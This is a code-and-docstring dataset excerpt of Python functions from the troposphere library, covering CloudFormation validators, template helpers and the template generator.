repo
stringlengths
7
55
path
stringlengths
4
223
func_name
stringlengths
1
134
original_string
stringlengths
75
104k
language
stringclasses
1 value
code
stringlengths
75
104k
code_tokens
listlengths
19
28.4k
docstring
stringlengths
1
46.9k
docstring_tokens
listlengths
1
1.97k
sha
stringlengths
40
40
url
stringlengths
87
315
partition
stringclasses
1 value
cloudtools/troposphere
troposphere/rds.py
validate_iops
def validate_iops(iops): """DBInstance Iops validation rules.""" iops = integer(iops) if int(iops) == 0: return iops if int(iops) < 1000: raise ValueError("DBInstance Iops, if set, must be greater than 1000.") return iops
python
def validate_iops(iops): """DBInstance Iops validation rules.""" iops = integer(iops) if int(iops) == 0: return iops if int(iops) < 1000: raise ValueError("DBInstance Iops, if set, must be greater than 1000.") return iops
[ "def", "validate_iops", "(", "iops", ")", ":", "iops", "=", "integer", "(", "iops", ")", "if", "int", "(", "iops", ")", "==", "0", ":", "return", "iops", "if", "int", "(", "iops", ")", "<", "1000", ":", "raise", "ValueError", "(", "\"DBInstance Iops,...
DBInstance Iops validation rules.
[ "DBInstance", "Iops", "validation", "rules", "." ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/rds.py#L26-L34
train
cloudtools/troposphere
troposphere/rds.py
validate_backup_window
def validate_backup_window(window): """Validate PreferredBackupWindow for DBInstance""" hour = r'[01]?[0-9]|2[0-3]' minute = r'[0-5][0-9]' r = ("(?P<start_hour>%s):(?P<start_minute>%s)-" "(?P<end_hour>%s):(?P<end_minute>%s)") % (hour, minute, hour, minute) range_regex = re.compile(r) m...
python
def validate_backup_window(window): """Validate PreferredBackupWindow for DBInstance""" hour = r'[01]?[0-9]|2[0-3]' minute = r'[0-5][0-9]' r = ("(?P<start_hour>%s):(?P<start_minute>%s)-" "(?P<end_hour>%s):(?P<end_minute>%s)") % (hour, minute, hour, minute) range_regex = re.compile(r) m...
[ "def", "validate_backup_window", "(", "window", ")", ":", "hour", "=", "r'[01]?[0-9]|2[0-3]'", "minute", "=", "r'[0-5][0-9]'", "r", "=", "(", "\"(?P<start_hour>%s):(?P<start_minute>%s)-\"", "\"(?P<end_hour>%s):(?P<end_minute>%s)\"", ")", "%", "(", "hour", ",", "minute", ...
Validate PreferredBackupWindow for DBInstance
[ "Validate", "PreferredBackupWindow", "for", "DBInstance" ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/rds.py#L73-L90
train
cloudtools/troposphere
troposphere/rds.py
validate_maintenance_window
def validate_maintenance_window(window): """Validate PreferredMaintenanceWindow for DBInstance""" days = ("Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun") day_re = r'[A-Z]{1}[a-z]{2}' hour = r'[01]?[0-9]|2[0-3]' minute = r'[0-5][0-9]' r = ("(?P<start_day>%s):(?P<start_hour>%s):(?P<start_minute>...
python
def validate_maintenance_window(window): """Validate PreferredMaintenanceWindow for DBInstance""" days = ("Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun") day_re = r'[A-Z]{1}[a-z]{2}' hour = r'[01]?[0-9]|2[0-3]' minute = r'[0-5][0-9]' r = ("(?P<start_day>%s):(?P<start_hour>%s):(?P<start_minute>...
[ "def", "validate_maintenance_window", "(", "window", ")", ":", "days", "=", "(", "\"Mon\"", ",", "\"Tue\"", ",", "\"Wed\"", ",", "\"Thu\"", ",", "\"Fri\"", ",", "\"Sat\"", ",", "\"Sun\"", ")", "day_re", "=", "r'[A-Z]{1}[a-z]{2}'", "hour", "=", "r'[01]?[0-9]|2[...
Validate PreferredMaintenanceWindow for DBInstance
[ "Validate", "PreferredMaintenanceWindow", "for", "DBInstance" ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/rds.py#L93-L122
train
cloudtools/troposphere
troposphere/rds.py
validate_capacity
def validate_capacity(capacity): """Validate ScalingConfiguration capacity for serverless DBCluster""" if capacity not in VALID_SCALING_CONFIGURATION_CAPACITIES: raise ValueError( "ScalingConfiguration capacity must be one of: {}".format( ", ".join(map( s...
python
def validate_capacity(capacity): """Validate ScalingConfiguration capacity for serverless DBCluster""" if capacity not in VALID_SCALING_CONFIGURATION_CAPACITIES: raise ValueError( "ScalingConfiguration capacity must be one of: {}".format( ", ".join(map( s...
[ "def", "validate_capacity", "(", "capacity", ")", ":", "if", "capacity", "not", "in", "VALID_SCALING_CONFIGURATION_CAPACITIES", ":", "raise", "ValueError", "(", "\"ScalingConfiguration capacity must be one of: {}\"", ".", "format", "(", "\", \"", ".", "join", "(", "map"...
Validate ScalingConfiguration capacity for serverless DBCluster
[ "Validate", "ScalingConfiguration", "capacity", "for", "serverless", "DBCluster" ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/rds.py#L135-L147
train
cloudtools/troposphere
setup.py
file_contents
def file_contents(file_name): """Given a file name to a valid file returns the file object.""" curr_dir = os.path.abspath(os.path.dirname(__file__)) with open(os.path.join(curr_dir, file_name)) as the_file: contents = the_file.read() return contents
python
def file_contents(file_name): """Given a file name to a valid file returns the file object.""" curr_dir = os.path.abspath(os.path.dirname(__file__)) with open(os.path.join(curr_dir, file_name)) as the_file: contents = the_file.read() return contents
[ "def", "file_contents", "(", "file_name", ")", ":", "curr_dir", "=", "os", ".", "path", ".", "abspath", "(", "os", ".", "path", ".", "dirname", "(", "__file__", ")", ")", "with", "open", "(", "os", ".", "path", ".", "join", "(", "curr_dir", ",", "f...
Given a file name to a valid file returns the file object.
[ "Given", "a", "file", "name", "to", "a", "valid", "file", "returns", "the", "file", "object", "." ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/setup.py#L26-L31
train
cloudtools/troposphere
troposphere/__init__.py
depends_on_helper
def depends_on_helper(obj): """ Handles using .title if the given object is a troposphere resource. If the given object is a troposphere resource, use the `.title` attribute of that resource. If it's a string, just use the string. This should allow more pythonic use of DependsOn. """ if isinsta...
python
def depends_on_helper(obj): """ Handles using .title if the given object is a troposphere resource. If the given object is a troposphere resource, use the `.title` attribute of that resource. If it's a string, just use the string. This should allow more pythonic use of DependsOn. """ if isinsta...
[ "def", "depends_on_helper", "(", "obj", ")", ":", "if", "isinstance", "(", "obj", ",", "AWSObject", ")", ":", "return", "obj", ".", "title", "elif", "isinstance", "(", "obj", ",", "list", ")", ":", "return", "list", "(", "map", "(", "depends_on_helper", ...
Handles using .title if the given object is a troposphere resource. If the given object is a troposphere resource, use the `.title` attribute of that resource. If it's a string, just use the string. This should allow more pythonic use of DependsOn.
[ "Handles", "using", ".", "title", "if", "the", "given", "object", "is", "a", "troposphere", "resource", "." ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/__init__.py#L76-L87
train
cloudtools/troposphere
troposphere/__init__.py
Template.set_parameter_label
def set_parameter_label(self, parameter, label): """ Sets the Label used in the User Interface for the given parameter. :type parameter: str or Parameter :type label: str """ labels = self.metadata\ .setdefault("AWS::CloudFormation::Interface", {})\ ...
python
def set_parameter_label(self, parameter, label): """ Sets the Label used in the User Interface for the given parameter. :type parameter: str or Parameter :type label: str """ labels = self.metadata\ .setdefault("AWS::CloudFormation::Interface", {})\ ...
[ "def", "set_parameter_label", "(", "self", ",", "parameter", ",", "label", ")", ":", "labels", "=", "self", ".", "metadata", ".", "setdefault", "(", "\"AWS::CloudFormation::Interface\"", ",", "{", "}", ")", ".", "setdefault", "(", "\"ParameterLabels\"", ",", "...
Sets the Label used in the User Interface for the given parameter. :type parameter: str or Parameter :type label: str
[ "Sets", "the", "Label", "used", "in", "the", "User", "Interface", "for", "the", "given", "parameter", ".", ":", "type", "parameter", ":", "str", "or", "Parameter", ":", "type", "label", ":", "str" ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/__init__.py#L710-L723
train
cloudtools/troposphere
troposphere/__init__.py
Template.add_parameter_to_group
def add_parameter_to_group(self, parameter, group_name): """ Add a parameter under a group (created if needed). :type parameter: str or Parameter :type group_name: str """ groups = self.metadata \ .setdefault("AWS::CloudFormation::Interface", {}) \ ...
python
def add_parameter_to_group(self, parameter, group_name): """ Add a parameter under a group (created if needed). :type parameter: str or Parameter :type group_name: str """ groups = self.metadata \ .setdefault("AWS::CloudFormation::Interface", {}) \ ...
[ "def", "add_parameter_to_group", "(", "self", ",", "parameter", ",", "group_name", ")", ":", "groups", "=", "self", ".", "metadata", ".", "setdefault", "(", "\"AWS::CloudFormation::Interface\"", ",", "{", "}", ")", ".", "setdefault", "(", "\"ParameterGroups\"", ...
Add a parameter under a group (created if needed). :type parameter: str or Parameter :type group_name: str
[ "Add", "a", "parameter", "under", "a", "group", "(", "created", "if", "needed", ")", ".", ":", "type", "parameter", ":", "str", "or", "Parameter", ":", "type", "group_name", ":", "str" ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/__init__.py#L725-L754
train
cloudtools/troposphere
troposphere/helpers/userdata.py
from_file
def from_file(filepath, delimiter='', blanklines=False): """Imports userdata from a file. :type filepath: string :param filepath The absolute path to the file. :type delimiter: string :param: delimiter Delimiter to use with the troposphere.Join(). :type blanklines: boolean :param bla...
python
def from_file(filepath, delimiter='', blanklines=False): """Imports userdata from a file. :type filepath: string :param filepath The absolute path to the file. :type delimiter: string :param: delimiter Delimiter to use with the troposphere.Join(). :type blanklines: boolean :param bla...
[ "def", "from_file", "(", "filepath", ",", "delimiter", "=", "''", ",", "blanklines", "=", "False", ")", ":", "data", "=", "[", "]", "try", ":", "with", "open", "(", "filepath", ",", "'r'", ")", "as", "f", ":", "for", "line", "in", "f", ":", "if",...
Imports userdata from a file. :type filepath: string :param filepath The absolute path to the file. :type delimiter: string :param: delimiter Delimiter to use with the troposphere.Join(). :type blanklines: boolean :param blanklines If blank lines shoud be ignored rtype: troposphere...
[ "Imports", "userdata", "from", "a", "file", "." ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/helpers/userdata.py#L6-L36
train
cloudtools/troposphere
troposphere/utils.py
get_events
def get_events(conn, stackname): """Get the events in batches and return in chronological order""" next = None event_list = [] while 1: events = conn.describe_stack_events(stackname, next) event_list.append(events) if events.next_token is None: break next = ev...
python
def get_events(conn, stackname): """Get the events in batches and return in chronological order""" next = None event_list = [] while 1: events = conn.describe_stack_events(stackname, next) event_list.append(events) if events.next_token is None: break next = ev...
[ "def", "get_events", "(", "conn", ",", "stackname", ")", ":", "next", "=", "None", "event_list", "=", "[", "]", "while", "1", ":", "events", "=", "conn", ".", "describe_stack_events", "(", "stackname", ",", "next", ")", "event_list", ".", "append", "(", ...
Get the events in batches and return in chronological order
[ "Get", "the", "events", "in", "batches", "and", "return", "in", "chronological", "order" ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/utils.py#L8-L19
train
cloudtools/troposphere
troposphere/utils.py
tail
def tail(conn, stack_name, log_func=_tail_print, sleep_time=5, include_initial=True): """Show and then tail the event log""" # First dump the full list of events in chronological order and keep # track of the events we've seen already seen = set() initial_events = get_events(conn, stack_nam...
python
def tail(conn, stack_name, log_func=_tail_print, sleep_time=5, include_initial=True): """Show and then tail the event log""" # First dump the full list of events in chronological order and keep # track of the events we've seen already seen = set() initial_events = get_events(conn, stack_nam...
[ "def", "tail", "(", "conn", ",", "stack_name", ",", "log_func", "=", "_tail_print", ",", "sleep_time", "=", "5", ",", "include_initial", "=", "True", ")", ":", "# First dump the full list of events in chronological order and keep", "# track of the events we've seen already"...
Show and then tail the event log
[ "Show", "and", "then", "tail", "the", "event", "log" ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/utils.py#L22-L41
train
cloudtools/troposphere
troposphere/awslambda.py
validate_memory_size
def validate_memory_size(memory_value): """ Validate memory size for Lambda Function :param memory_value: The memory size specified in the Function :return: The provided memory size if it is valid """ memory_value = int(positive_integer(memory_value)) if memory_value not in MEMORY_VALUES: ...
python
def validate_memory_size(memory_value): """ Validate memory size for Lambda Function :param memory_value: The memory size specified in the Function :return: The provided memory size if it is valid """ memory_value = int(positive_integer(memory_value)) if memory_value not in MEMORY_VALUES: ...
[ "def", "validate_memory_size", "(", "memory_value", ")", ":", "memory_value", "=", "int", "(", "positive_integer", "(", "memory_value", ")", ")", "if", "memory_value", "not", "in", "MEMORY_VALUES", ":", "raise", "ValueError", "(", "\"Lambda Function memory size must b...
Validate memory size for Lambda Function :param memory_value: The memory size specified in the Function :return: The provided memory size if it is valid
[ "Validate", "memory", "size", "for", "Lambda", "Function", ":", "param", "memory_value", ":", "The", "memory", "size", "specified", "in", "the", "Function", ":", "return", ":", "The", "provided", "memory", "size", "if", "it", "is", "valid" ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/awslambda.py#L28-L37
train
cloudtools/troposphere
scripts/gen.py
Override.get_validator_list
def get_validator_list(self): """Return a list of validators specified in the override file""" ignore = [ 'dict', ] vlist = [] if not self.override: return vlist for k, v in list(self.override['classes'].items()): if 'validator' in v: ...
python
def get_validator_list(self): """Return a list of validators specified in the override file""" ignore = [ 'dict', ] vlist = [] if not self.override: return vlist for k, v in list(self.override['classes'].items()): if 'validator' in v: ...
[ "def", "get_validator_list", "(", "self", ")", ":", "ignore", "=", "[", "'dict'", ",", "]", "vlist", "=", "[", "]", "if", "not", "self", ".", "override", ":", "return", "vlist", "for", "k", ",", "v", "in", "list", "(", "self", ".", "override", "[",...
Return a list of validators specified in the override file
[ "Return", "a", "list", "of", "validators", "specified", "in", "the", "override", "file" ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/scripts/gen.py#L98-L119
train
cloudtools/troposphere
scripts/gen.py
File._output_tags
def _output_tags(self): """Look for a Tags object to output a Tags import""" for class_name, properties in sorted(self.resources.items()): for key, value in sorted(properties.items()): validator = self.override.get_validator(class_name, key) if key == 'Tags' a...
python
def _output_tags(self): """Look for a Tags object to output a Tags import""" for class_name, properties in sorted(self.resources.items()): for key, value in sorted(properties.items()): validator = self.override.get_validator(class_name, key) if key == 'Tags' a...
[ "def", "_output_tags", "(", "self", ")", ":", "for", "class_name", ",", "properties", "in", "sorted", "(", "self", ".", "resources", ".", "items", "(", ")", ")", ":", "for", "key", ",", "value", "in", "sorted", "(", "properties", ".", "items", "(", "...
Look for a Tags object to output a Tags import
[ "Look", "for", "a", "Tags", "object", "to", "output", "a", "Tags", "import" ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/scripts/gen.py#L164-L177
train
cloudtools/troposphere
scripts/gen.py
File._check_type
def _check_type(self, check_type, properties): """Decode a properties type looking for a specific type.""" if 'PrimitiveType' in properties: return properties['PrimitiveType'] == check_type if properties['Type'] == 'List': if 'ItemType' in properties: retu...
python
def _check_type(self, check_type, properties): """Decode a properties type looking for a specific type.""" if 'PrimitiveType' in properties: return properties['PrimitiveType'] == check_type if properties['Type'] == 'List': if 'ItemType' in properties: retu...
[ "def", "_check_type", "(", "self", ",", "check_type", ",", "properties", ")", ":", "if", "'PrimitiveType'", "in", "properties", ":", "return", "properties", "[", "'PrimitiveType'", "]", "==", "check_type", "if", "properties", "[", "'Type'", "]", "==", "'List'"...
Decode a properties type looking for a specific type.
[ "Decode", "a", "properties", "type", "looking", "for", "a", "specific", "type", "." ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/scripts/gen.py#L179-L188
train
cloudtools/troposphere
scripts/gen.py
File._walk_for_type
def _walk_for_type(self, check_type): """Walk the resources/properties looking for a specific type.""" for class_name, properties in sorted(self.resources.items()): for key, value in sorted(properties.items()): if self._check_type(check_type, value): retur...
python
def _walk_for_type(self, check_type): """Walk the resources/properties looking for a specific type.""" for class_name, properties in sorted(self.resources.items()): for key, value in sorted(properties.items()): if self._check_type(check_type, value): retur...
[ "def", "_walk_for_type", "(", "self", ",", "check_type", ")", ":", "for", "class_name", ",", "properties", "in", "sorted", "(", "self", ".", "resources", ".", "items", "(", ")", ")", ":", "for", "key", ",", "value", "in", "sorted", "(", "properties", "...
Walk the resources/properties looking for a specific type.
[ "Walk", "the", "resources", "/", "properties", "looking", "for", "a", "specific", "type", "." ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/scripts/gen.py#L190-L201
train
cloudtools/troposphere
scripts/gen.py
File._get_type_list
def _get_type_list(self, props): """Return a list of non-primitive types used by this object.""" type_list = [] for k, v in list(props.items()): t = self._get_property_type(v) if t is not None: type_list.append(t) return sorted(type_list)
python
def _get_type_list(self, props): """Return a list of non-primitive types used by this object.""" type_list = [] for k, v in list(props.items()): t = self._get_property_type(v) if t is not None: type_list.append(t) return sorted(type_list)
[ "def", "_get_type_list", "(", "self", ",", "props", ")", ":", "type_list", "=", "[", "]", "for", "k", ",", "v", "in", "list", "(", "props", ".", "items", "(", ")", ")", ":", "t", "=", "self", ".", "_get_property_type", "(", "v", ")", "if", "t", ...
Return a list of non-primitive types used by this object.
[ "Return", "a", "list", "of", "non", "-", "primitive", "types", "used", "by", "this", "object", "." ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/scripts/gen.py#L218-L225
train
cloudtools/troposphere
scripts/gen.py
File._output_validators
def _output_validators(self): """Output common validator types based on usage.""" if self._walk_for_type('Boolean'): print("from .validators import boolean") if self._walk_for_type('Integer'): print("from .validators import integer") vlist = self.override.get_vali...
python
def _output_validators(self): """Output common validator types based on usage.""" if self._walk_for_type('Boolean'): print("from .validators import boolean") if self._walk_for_type('Integer'): print("from .validators import integer") vlist = self.override.get_vali...
[ "def", "_output_validators", "(", "self", ")", ":", "if", "self", ".", "_walk_for_type", "(", "'Boolean'", ")", ":", "print", "(", "\"from .validators import boolean\"", ")", "if", "self", ".", "_walk_for_type", "(", "'Integer'", ")", ":", "print", "(", "\"fro...
Output common validator types based on usage.
[ "Output", "common", "validator", "types", "based", "on", "usage", "." ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/scripts/gen.py#L227-L240
train
cloudtools/troposphere
scripts/gen.py
File.build_tree
def build_tree(self, name, props, resource_name=None): """Build a tree of non-primitive typed dependency order.""" n = Node(name, props, resource_name) prop_type_list = self._get_type_list(props) if not prop_type_list: return n prop_type_list = sorted(prop_type_list) ...
python
def build_tree(self, name, props, resource_name=None): """Build a tree of non-primitive typed dependency order.""" n = Node(name, props, resource_name) prop_type_list = self._get_type_list(props) if not prop_type_list: return n prop_type_list = sorted(prop_type_list) ...
[ "def", "build_tree", "(", "self", ",", "name", ",", "props", ",", "resource_name", "=", "None", ")", ":", "n", "=", "Node", "(", "name", ",", "props", ",", "resource_name", ")", "prop_type_list", "=", "self", ".", "_get_type_list", "(", "props", ")", "...
Build a tree of non-primitive typed dependency order.
[ "Build", "a", "tree", "of", "non", "-", "primitive", "typed", "dependency", "order", "." ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/scripts/gen.py#L249-L262
train
cloudtools/troposphere
scripts/gen.py
File.output_tree
def output_tree(self, t, seen): """Given a dependency tree of objects, output it in DFS order.""" if not t: return for c in t.children: self.output_tree(c, seen) if t.name in seen: return seen[t.name] = True if t.resource_name: ...
python
def output_tree(self, t, seen): """Given a dependency tree of objects, output it in DFS order.""" if not t: return for c in t.children: self.output_tree(c, seen) if t.name in seen: return seen[t.name] = True if t.resource_name: ...
[ "def", "output_tree", "(", "self", ",", "t", ",", "seen", ")", ":", "if", "not", "t", ":", "return", "for", "c", "in", "t", ".", "children", ":", "self", ".", "output_tree", "(", "c", ",", "seen", ")", "if", "t", ".", "name", "in", "seen", ":",...
Given a dependency tree of objects, output it in DFS order.
[ "Given", "a", "dependency", "tree", "of", "objects", "output", "it", "in", "DFS", "order", "." ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/scripts/gen.py#L264-L276
train
cloudtools/troposphere
scripts/gen.py
File.output
def output(self): """Output the generated source file.""" print(copyright_header % spec_version) self._output_imports() self._output_tags() self._output_validators() header = self.override.get_header() if header: print() print() ...
python
def output(self): """Output the generated source file.""" print(copyright_header % spec_version) self._output_imports() self._output_tags() self._output_validators() header = self.override.get_header() if header: print() print() ...
[ "def", "output", "(", "self", ")", ":", "print", "(", "copyright_header", "%", "spec_version", ")", "self", ".", "_output_imports", "(", ")", "self", ".", "_output_tags", "(", ")", "self", ".", "_output_validators", "(", ")", "header", "=", "self", ".", ...
Output the generated source file.
[ "Output", "the", "generated", "source", "file", "." ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/scripts/gen.py#L278-L294
train
cloudtools/troposphere
troposphere/template_generator.py
TemplateGenerator.inspect_members
def inspect_members(self): """ Returns the list of all troposphere members we are able to construct """ if not self._inspect_members: TemplateGenerator._inspect_members = \ self._import_all_troposphere_modules() return self._inspect_members
python
def inspect_members(self): """ Returns the list of all troposphere members we are able to construct """ if not self._inspect_members: TemplateGenerator._inspect_members = \ self._import_all_troposphere_modules() return self._inspect_members
[ "def", "inspect_members", "(", "self", ")", ":", "if", "not", "self", ".", "_inspect_members", ":", "TemplateGenerator", ".", "_inspect_members", "=", "self", ".", "_import_all_troposphere_modules", "(", ")", "return", "self", ".", "_inspect_members" ]
Returns the list of all troposphere members we are able to construct
[ "Returns", "the", "list", "of", "all", "troposphere", "members", "we", "are", "able", "to", "construct" ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/template_generator.py#L78-L86
train
cloudtools/troposphere
troposphere/template_generator.py
TemplateGenerator.inspect_resources
def inspect_resources(self): """ Returns a map of `ResourceType: ResourceClass` """ if not self._inspect_resources: d = {} for m in self.inspect_members: if issubclass(m, (AWSObject, cloudformation.AWSCustomObject)) \ and hasattr(m, 'resour...
python
def inspect_resources(self): """ Returns a map of `ResourceType: ResourceClass` """ if not self._inspect_resources: d = {} for m in self.inspect_members: if issubclass(m, (AWSObject, cloudformation.AWSCustomObject)) \ and hasattr(m, 'resour...
[ "def", "inspect_resources", "(", "self", ")", ":", "if", "not", "self", ".", "_inspect_resources", ":", "d", "=", "{", "}", "for", "m", "in", "self", ".", "inspect_members", ":", "if", "issubclass", "(", "m", ",", "(", "AWSObject", ",", "cloudformation",...
Returns a map of `ResourceType: ResourceClass`
[ "Returns", "a", "map", "of", "ResourceType", ":", "ResourceClass" ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/template_generator.py#L89-L100
train
cloudtools/troposphere
troposphere/template_generator.py
TemplateGenerator.inspect_functions
def inspect_functions(self): """ Returns a map of `FunctionName: FunctionClass` """ if not self._inspect_functions: d = {} for m in self.inspect_members: if issubclass(m, AWSHelperFn): d[m.__name__] = m TemplateGenerator._inspect_f...
python
def inspect_functions(self): """ Returns a map of `FunctionName: FunctionClass` """ if not self._inspect_functions: d = {} for m in self.inspect_members: if issubclass(m, AWSHelperFn): d[m.__name__] = m TemplateGenerator._inspect_f...
[ "def", "inspect_functions", "(", "self", ")", ":", "if", "not", "self", ".", "_inspect_functions", ":", "d", "=", "{", "}", "for", "m", "in", "self", ".", "inspect_members", ":", "if", "issubclass", "(", "m", ",", "AWSHelperFn", ")", ":", "d", "[", "...
Returns a map of `FunctionName: FunctionClass`
[ "Returns", "a", "map", "of", "FunctionName", ":", "FunctionClass" ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/template_generator.py#L103-L113
train
cloudtools/troposphere
troposphere/template_generator.py
TemplateGenerator._get_resource_type_cls
def _get_resource_type_cls(self, name, resource): """Attempts to return troposphere class that represents Type of provided resource. Attempts to find the troposphere class who's `resource_type` field is the same as the provided resources `Type` field. :param resource: Resource t...
python
def _get_resource_type_cls(self, name, resource): """Attempts to return troposphere class that represents Type of provided resource. Attempts to find the troposphere class who's `resource_type` field is the same as the provided resources `Type` field. :param resource: Resource t...
[ "def", "_get_resource_type_cls", "(", "self", ",", "name", ",", "resource", ")", ":", "# If provided resource does not have `Type` field", "if", "'Type'", "not", "in", "resource", ":", "raise", "ResourceTypeNotDefined", "(", "name", ")", "# Attempt to find troposphere res...
Attempts to return troposphere class that represents Type of provided resource. Attempts to find the troposphere class who's `resource_type` field is the same as the provided resources `Type` field. :param resource: Resource to find troposphere class for :return: None: If no cla...
[ "Attempts", "to", "return", "troposphere", "class", "that", "represents", "Type", "of", "provided", "resource", ".", "Attempts", "to", "find", "the", "troposphere", "class", "who", "s", "resource_type", "field", "is", "the", "same", "as", "the", "provided", "r...
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/template_generator.py#L115-L141
train
cloudtools/troposphere
troposphere/template_generator.py
TemplateGenerator._convert_definition
def _convert_definition(self, definition, ref=None, cls=None): """ Converts any object to its troposphere equivalent, if applicable. This function will recurse into lists and mappings to create additional objects as necessary. :param {*} definition: Object to convert :pa...
python
def _convert_definition(self, definition, ref=None, cls=None): """ Converts any object to its troposphere equivalent, if applicable. This function will recurse into lists and mappings to create additional objects as necessary. :param {*} definition: Object to convert :pa...
[ "def", "_convert_definition", "(", "self", ",", "definition", ",", "ref", "=", "None", ",", "cls", "=", "None", ")", ":", "if", "isinstance", "(", "definition", ",", "Mapping", ")", ":", "if", "'Type'", "in", "definition", ":", "# this is an AWS Resource", ...
Converts any object to its troposphere equivalent, if applicable. This function will recurse into lists and mappings to create additional objects as necessary. :param {*} definition: Object to convert :param str ref: Name of key in parent dict that the provided definition ...
[ "Converts", "any", "object", "to", "its", "troposphere", "equivalent", "if", "applicable", ".", "This", "function", "will", "recurse", "into", "lists", "and", "mappings", "to", "create", "additional", "objects", "as", "necessary", "." ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/template_generator.py#L143-L198
train
cloudtools/troposphere
troposphere/template_generator.py
TemplateGenerator._create_instance
def _create_instance(self, cls, args, ref=None): """ Returns an instance of `cls` with `args` passed as arguments. Recursively inspects `args` to create nested objects and functions as necessary. `cls` will only be considered only if it's an object we track (i.e.: trop...
python
def _create_instance(self, cls, args, ref=None): """ Returns an instance of `cls` with `args` passed as arguments. Recursively inspects `args` to create nested objects and functions as necessary. `cls` will only be considered only if it's an object we track (i.e.: trop...
[ "def", "_create_instance", "(", "self", ",", "cls", ",", "args", ",", "ref", "=", "None", ")", ":", "if", "isinstance", "(", "cls", ",", "Sequence", ")", ":", "if", "len", "(", "cls", ")", "==", "1", ":", "# a list of 1 type means we must provide a list of...
Returns an instance of `cls` with `args` passed as arguments. Recursively inspects `args` to create nested objects and functions as necessary. `cls` will only be considered only if it's an object we track (i.e.: troposphere objects). If `cls` has a `props` attribute, nested p...
[ "Returns", "an", "instance", "of", "cls", "with", "args", "passed", "as", "arguments", "." ]
f7ea5591a7c287a843adc9c184d2f56064cfc632
https://github.com/cloudtools/troposphere/blob/f7ea5591a7c287a843adc9c184d2f56064cfc632/troposphere/template_generator.py#L200-L299
train
cloudtools/troposphere
troposphere/template_generator.py
TemplateGenerator._normalize_properties
def _normalize_properties(self, definition): """ Inspects the definition and returns a copy of it that is updated with any special property such as Condition, UpdatePolicy and the like. """ args = definition.get('Properties', {}).copy() if 'Condition' in definitio...
python
def _normalize_properties(self, definition): """ Inspects the definition and returns a copy of it that is updated with any special property such as Condition, UpdatePolicy and the like. """ args = definition.get('Properties', {}).copy() if 'Condition' in definitio...
[ "def", "_normalize_properties", "(", "self", ",", "definition", ")", ":", "args", "=", "definition", ".", "get", "(", "'Properties'", ",", "{", "}", ")", ".", "copy", "(", ")", "if", "'Condition'", "in", "definition", ":", "args", ".", "update", "(", "...
Inspects the definition and returns a copy of it that is updated with any special property such as Condition, UpdatePolicy and the like.
